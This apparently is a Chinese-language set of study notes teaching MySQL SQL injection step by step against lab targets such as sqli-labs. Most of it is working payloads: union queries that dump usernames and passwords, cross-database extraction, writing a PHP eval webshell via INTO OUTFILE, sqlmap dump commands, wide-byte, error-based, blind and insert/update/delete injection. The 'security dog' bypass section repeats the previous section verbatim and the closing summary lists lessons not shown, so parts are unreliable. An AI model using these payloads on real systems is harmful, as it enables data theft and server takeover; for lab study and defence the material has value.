一、sql注入的原理
不管是用什么语言编写的Web应用,它们都有一个共同点,就是具有交互性并且大多数是数据库驱动。在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞。**sql注入**是一种通过操作sql语句进行攻击目的的技术
二、MYSQL注入--第一天(数据读取)
1、sql语句创建数据库:CREATE DATABASE database_name
删除数据库:drop database database_name
创建新表:create table mytable(name char(20),sex char(1))
删除新表:drop table mytable
查看数据库:show databases
选择:select * from table1 where 范围
插入:insert into table1(field1,field2) values(value1,value2)
删除:delete from table1 where 范围
更新:update table1 set field1=value1 where 范围
查找:select * from table1 where field1 like ’%value1%’ —like的语法很精妙,查资料!
排序:select * from table1 order by field1,field2 [desc]
获取字段数:order by x取临界值
获取数据库名:database()
获取数据库版本:version()
2、information_schema:是mysql 5.0以上版本自带的数据库,它记录有当前mysql下所有数据库名,表名,列名信息。
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
table_name 表名
table_schema 数据库名
3、对注入的分析!!:
(1)注释符号:–+ 是mysql注入中最常见的注释符号,#也可以,但有时候可能会被过滤。
- - 这个才是mysql中真正的注释符号
*+ 会被浏览器进行url编码,编码成一个空格 *
(2)union select 是sql注入中最常见的一种攻击方式,是联合查询的意思。
–>先构造一个id
?id = ‘union select 1,2,3’ --+
如何确定字段数呢?
用order by语句确定字段数,如果order by 4得到报错(Unknown column ‘4’ in ‘order clause’),就可确定该数据库的字段为3,所以用联合查询(union select)时,输入1,2,3进行攻击(union select 1,2,3)
如何查询数据呢?(重点!!!)
第一步:获取当前数据库名称及当前数据库用户
使用函数database(),user()
比如获取到数据库名称为security,操作用户是root
第二步:获取表名称
information_schema:是mysql 5.0以上版本自带的数据库,它记录有当前mysql下所有数据库名,表名,列名信息。
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
table_name 表名
table_schema 数据库名
获取表名称的语句:
union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema = “security”
group_concat 是将查询到的数据都列出来
第三步:获取列名称
union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name = “users” and table_schema = "security"
必须加上限定条件(限定数据库)!!
第四步:获取数据
union select 1,group_concat(username),group_concat(password) from users
最后,我们获取到了该数据库中的所有数据,大功告成!
三、Mysql注入--第二天(跨库注入)
如果要进行跨库注入,有一个条件,就是当前数据库用户必须是root用户,才能对整个数据库进行操作。确定用户: user()
如果回显为root@localhost等,就只要@前面是root,则该数据库用户为root
跨库注入的过程:
第一步:
information_schema.schemata 存储所有数据库
schema_name 数据库名
获取当前所有的数据库:
union select 1,group_concat(schema_name),3 from information_schema.schemata
第二步:
获取你要注入的数据库的表名称:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = “pikachu”
第三步:
获取你要注入的数据库的列名称:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name = “users” and table_schema = “pikachu”
第四步:
获取你要注入的数据库的数据:
union select 1,group_concat(username),group_concat(password) from pikachu.users
跨库注入和普通注入的区别:
跨库注入首先要获取所有的数据库名称
在查询表名,列名时,必须限定你要注入的数据库名称
大功告成!!!!
四、Mysql注入--第三天(mysql高权限文件操作,getshell)
发现了注入点,还想进一步渗透,写入文件来拿shell
写入PHP EVAL 一句话木马
<?php eval($_POST["pass"])?>mysql是如何写入文件的呢?
但写入php一句话木马的前提是:我们的木马必须被mysql允许上传,即设置secure_file_priv = 为空,secure_file_priv是可以绕过的(通过mysql的日态文件来进行绕过,但前提是网站必须开启这个日态功能,如果没有开启,就必须有一个执行sql语句的地方)
现在开始写入文件吧!–>sql-labs第七关 文件写入
SQL语句绕过分析:
select * from users where id = ((’ ')) sql injection --+ '))
写成这样后没有反应,文件写入的注入点一定没有反应
同时注意 secure_file_priv的值
文件写入语句:
union select 1,’<?php eval($_POST["pass"])' ?>’,3 into outfile “C:\phpstudy_pro\WWW\shell.php”
然后用中国蚁剑把shell.php的URL地址写入就可以拿到shell了(密码是pass)
但在这种情况下,我们要知道对方网站的路径,在实际渗透中我们并不知道这个值,怎么办呢?
为了得到网站的根路径,可以↓
(1)报错显示
(2)谷歌黑客 site:目标网站 warning等等
(3)遗留文件 phpinfo info test php
(4)漏洞爆路径
(5)读取配置文件,通过对方web服务器类型猜解路径
IIS:\inetpub\wwwroot
PHPSTUDY2020:\phpstudy_pro\WWW
PHPSTUDY2018:\phpstudy\PHPTutorial\WWW\
拿到一个注入点,只要爆出来路径,并且secure_file_priv为空,即可写入文件getshell
五、Mysql注入--第四天(sqlmap和hackbar的使用)
这里就讲一下sqlmap的简单使用吧(仅仅是读取数据哈),不过要有python环境,配置一下环境变量之类的,这个自己跟着百度出来的内容一步一步弄了,在命令行里使用sqlmap。
(1)获取当前所有数据库
sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1?id=1” --dbs --batch -->batch是自动确认
(2)获取当前数据库a中的所有表
sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1?id=1” -D a --tables --batch
(3)获取当前数据库a中的b表的所有列
sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1?id=1” -D a -T b --columns --batch
(4)获取当前数据库a中的b表的c列的数据
sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1?id=1” -D a -T b -C username,password --dump --batch
注意!:工具虽好用,但得知道其中的原理哦!
六、Mysql注入--第五天(POST和COOKIE请求方式的注入)
之前讲的那些注入都是通过GET请求发送出去的,而通过其他方式的请求发送出去的是否也会有注入点?有的话该如何利用呢?
一般的请求方式有↓
GET 最常见的请求方式
POST 一般用于登录框
COOKIE 想用哪里用哪里
POST请求注入↓
只需要在登录框内提交SQL注入语句
-1’ union select 1,2 #
COOKIE请求的注入↓
如何抓取COOKIE呢?
(1)用eat my cookie插件
(2)用burp去抓包
直接用burp抓包,并且在cookie中写入注入语句
-1’ union select 1,2 #
七、Mysql注入--第六天(HTTP头注入和参数类型注入)
对于HTTP头注入先了解原理,具体实践等后面再讲
参数类型注入(三种)
(1)数字型
select * from sanfer where id = 1
select * from sanfer where id =-1 union select 1,database(),user()
(2)字符型
select * from sanfer where id = “sanfer”
select * from sanfer where id =-1’ union select 1,database(),user() --+
(3)搜索型
select * from sanfer where sanfer like id = ‘%to%’
select * from sanfer where sanfer like id = ‘%%’ union select 1,database(),user() '%%’
八、Mysql注入--第七天(加解密注入及宽字节注入)
mysql加解密注入
很多情况下,管理员会对传进的参数进行一个加密的操作,有可能是自己写,也有可能是base64、md5等常见的加密。
加解密注入该如何操作呢?
base64的加解密函数:base64_encode(),base64_decode()
这种情况下应该传1的base64的编码,正常回显
如果传进一些攻击参数,需要对攻击参数进行加密才行
mysql宽字节注入!
很多情况下,'号为了安全经常会被替换成’符号进入后台
addslashes() 给参数加上\ 避免注入
php中的magic_quotes_gpc函数 (魔术引号)
该如何突破呢?
用“字节覆盖”
希腊字母β是两个字节 β的url编码是%df,就可以将\覆盖掉
%27是’的url编码
宽字节注入原理:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时(默认两个字符连起来是一个汉字),会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
大功告成!!!!
九、Mysql注入--第八天(sql报错注入)
为什么需要报错注入呢?
在实际场景中,如果没有一个合适的数据返回点,而是仅仅带入sql数据库进行查询,就需要报错注入。
select * from users where id = ‘$id’ limit 0,1 正常进行绕过,但没有数据回显,则断定为报错注入
(1)extractvalue
and extractvalue(null,concat(0x7e,(sql_inject),0x7e))
可以理解为,非法传参,让后台xml故意报错
0x7e具体含义:0x7e = ~
利用这种方式,对后台进行一个排序,指定第一个参数为null,让他故意报错,将第二个参数中的语句带入数据库执行,最后报错就显示执行的结果
实验:
?id=1’ and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+
这时出现了–XPATH syntax error: ‘root@localhost’
然后进一步获取表名和列名、数据
在这种报错注入中,我们只能使用select而并非union select ,他们的语句执行有什么区别吗?
例如获取表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = ‘security’
select table_name from information_schema.tables where table_schema = ‘security’
返回 Subquery returns more than 1 row该如何处理呢?
select table_name from information_schema.tables where table_schema = ‘security’ limit 0,1
limit:数据库中的排序,limit 0,1 表格中数据的第一项
–>一般在实际情况中,一个公司的数据库可能有几百上千条,这时用limit 0,1之类的就很难搞了,所以该如何去处理呢?
这时候用burp的intruder模块处理
(2)updatexml
and 1 = (updatexml(1,concat(0x7e,(sql_inject)),1))
实验:
?id=1 ’ and 1 = (updatexml(1,concat(0x7e,(select database())),1)) --+
这个函数是更新xml数据的,但是我们通过非法传参,使他故意报错,执行我们的sql语句,0x7e显然是~ 用来区分数据的。
十、Mysql注入--第九天(insert注入)
insert 注入如何向数据库插入数据?
sql语句:insert into users (id,username,sex,password) values (6,‘womendouaitony’,‘tonyaiwomen’);
在这种情况下,应该如何操作可以达到一个注入的效果?
(1)updatexml
payload:
‘or updatexml(1,concat(0x7e,(version()),0x7e),0) or’
拼接进去:
insert into users (id,username,sex,password) values (6,‘womendouaitony’,’‘or updatexml(1,concat(0x7e,(version()),0x7e),0) or’’);
updatexml语句用来更新xml数据,第一个参数应该传入更新的数据,但是我们却传入了非法的参数,导致报错执行version()函数
(2)extractvalue
‘or extractvalue(1,concat(0x7e,(version()),0x7e)) or’
拼接进去:
insert into users (id,username,sex,password) values (6,‘womendouaitony’,’‘or extractvalue(1,concat(0x7e,(version()),0x7e)) or’’);
insert报错注入成功!!!!
十一、Mysql注入--第十天(update、delete注入)
(1)update注入
update users set username=‘tonynnnnn’,password=‘tonynnnn’,sex=‘man’ where id=‘3’
注入payload:'or updatexml(1,concat(0x7e,(version()),0x7e),0) or’
带入就是
update users set username=‘tonynnnnn’,password=’‘or updatexml(1,concat(0x7e,(version()),0x7e),0) or’’,sex=‘man’ where id=‘3’
XPATH syntax error: ‘5.5.53’
达到报错注入效果
insert用于用户注册时向数据库中添加用户
update用于修改个人信息,修改密码,会用到
(2)delete注入
delete用户注销用户,删除留言
delete注入payload有可能和之前的payload不同了,之前所有字段带单引号,delete注入传的id参数就有可能不带单引号
1 or updatexml(1,concat(0x7e,(version()),0x7e),0) or’'
delete from users where id=2
带入之后就是:
delete from users where id=1 or updatexml(1,concat(0x7e,(version()),0x7e),0) or’'
XPATH syntax error: ‘5.5.53’
有了这个注入点,我们可以进行下一步的查询与操作!
十二、Mysql注入--第十一天(sql盲注,bool和sleep)
基于布尔的盲注(盲注在没有回显的情况)
用报错注入不行么?
盲注和普通注入的区别:
盲注:一个一个猜(兼容性好,应用广,效率低)
普通注入:直接获取(兼容性差,应用窄,效率高)
第一步:获取当前数据库
盲注中,获取数据库的语句是需要一个一个进行猜解
获取数据库第一步:
获取数据库名称长度 用到length函数
length(database())=3
盲注必须使用and,并且,不能使用“-”让他报错
盲注正常与否,要和正常查询的页面进行比对
security 长度为8
获取数据库第二步:
进行查询数据库名称
要用到left函数
left((database(),1)=‘s’
进行爆破
注意:必须递进,比如说我用left 2 等于的值必须为se
依次确定第2,3,4,5为 注意:必须递进
第二步:进行表名获取
asc码有临界值0-127
比如大写A对应65 小写a对应97
ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=0-127
第三步:进行列名获取
ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=0-127
第四步:进行读取数据
1’ and ascii(substr((select username from users limit 0,1),1,1))=68
延迟注入(效率特别低)
sleep函数 进行一个延迟 配合使用if函数 如果数据库长度为8,那么就延迟5秒,反之,不延迟。
能不用延迟,就不用延迟,延迟效率特别低
布尔型才是盲注中的精髓!
十三、Mysql注入--第十二天(注释符的过滤注入)
注释符的过滤如何绕过
对应sqlilabs less23
首先,明确一个问题
如何过滤注释符号?
使用preg_replace函数
注释注入在这里就不工作,那么怎么办呢?
注入,不一定使用注释,也可以构造闭合。
闭合不好之处,就在执行点少
怎么操作?
两种方法:
第一种,union select强制闭合:
select * from users where id=’$id’
payload:-1 ’ union select 1,2,'3
带入之后:select * from users where id=’-1 ’ union select 1,(sql_inject),‘3’
第二种,or 闭合:
select * from users where id=’$id’
payload:-1 ’ union select 1,2,3 or ‘1’='1
带入之后:select * from users where id=’-1 ’ union select 1,2,3 or ‘1’=‘1’
拓展思考:
搜索型注入
select * from users where username like ‘%tony%’
两种方法
第一种:注释
%’ union select 1,2,3 --+
第二种:闭合
%’ union select 1,2,3 '%
十四、Mysql注入--第十三天(sql注入绕过安全狗)
注释符的过滤如何绕过
对应sqlilabs less23
首先,明确一个问题
如何过滤注释符号?
使用preg_replace函数
注释注入在这里就不工作,那么怎么办呢?
注入,不一定使用注释,也可以构造闭合。
闭合不好之处,就在执行点少
怎么操作?
两种方法:
第一种,union select强制闭合:
select * from users where id=’$id’
payload:-1 ’ union select 1,2,'3
带入之后:select * from users where id=’-1 ’ union select 1,(sql_inject),‘3’
第二种,or 闭合:
select * from users where id=’$id’
payload:-1 ’ union select 1,2,3 or ‘1’='1
带入之后:select * from users where id=’-1 ’ union select 1,2,3 or ‘1’=‘1’
拓展思考:
搜索型注入
select * from users where username like ‘%tony%’
两种方法
第一种:注释
%’ union select 1,2,3 --+
第二种:闭合
%’ union select 1,2,3 '%
十五、Mysql注入--第十四天(sql全章总结)
第1天:SQL注入如何获取数据,主要information_schema数据库,存储有所有的信息,union select 联合查询。
第2天:跨库注入,新增知识点information_schema.schemata,存储所有的数据库信息
第3天:mysql注入文件写入,要求secure_file_priv必须为空,并且,必须是root用户,用到函数,into outfile
第4天:sqlmap与hackbar使用
第5天:请求方式,POST和COOKIE也可以去请求
第6天:HTTP头部注入,参数类型,数字,字符,搜索。
第7天:加解密,base64,md5,或者自己写,要求对传参进行解密,%df,希腊字母β,占两个字节,府该前面的
第8天:报错注入,updatexml,extractvalue,非法传参,导致报错
第9天:insert注入,也是updatexml等等
第10天:delete,update注入,也是报错
第11天:PHP操作mysql数据库,如何写出一个sqlilabs的第二关
第12天:布尔盲注,延时盲注
第13天:二次注入,将攻击语句存入数据库,然后,在执行时,触发sql注入
第14天:绕过过滤注释符,#,–+,可以不用注释,可以 -1’ union select 1,2,3’,可控点非常少
第15天:过安全狗,比较难过的有aliyundun,godaddy